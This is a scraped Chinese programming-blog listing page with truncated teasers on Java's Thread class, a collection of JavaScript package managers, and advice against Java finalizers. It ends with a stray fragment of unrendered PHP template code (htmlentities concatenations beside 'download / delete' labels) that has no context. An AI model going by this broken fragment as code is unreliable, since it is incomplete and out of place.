工作中你所用到的工具，通常都有些你从来没有了解过的东西，比方说某个方法或者是一些有趣的用法。比如说线程。没错，就是线程。或者确切说是Thread这个类。当我们在构建高可扩展性系统的时候，通常会面临各种各样的并发编程的问题，不过我们现在所要讲的可能会略有不同。 
    

    • 

  • 开发资源大整合：编程语言篇——JavaScript（1）
shoothao
JavaScript

    概述：本系列的资源整合来自于github中各个领域的大牛，来收藏你感兴趣的东西吧。  
  程序包管理器
  管理javascript库并提供对这些库的快速使用与打包的服务。
Bower - 用于web的程序包管理。
component - 用于客户端的程序包管理，构建更好的web应用程序。
spm - 全新的静态的文件包管
    

    • 

  • 避免使用终结函数
vahoa.ma
javajvmC++

    终结函数（finalizer）通常是不可预测的，常常也是很危险的，一般情况下不是必要的。使用终结函数会导致不稳定的行为、更差的性能，以及带来移植性问题。不要把终结函数当做C++中的析构函数（destructors）的对应物。
 
    我自己总结了一下这一条的综合性结论是这样的：
1）在涉及使用资源，使用完毕后要释放资源的情形下，首先要用一个显示的方
    

    • 







' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除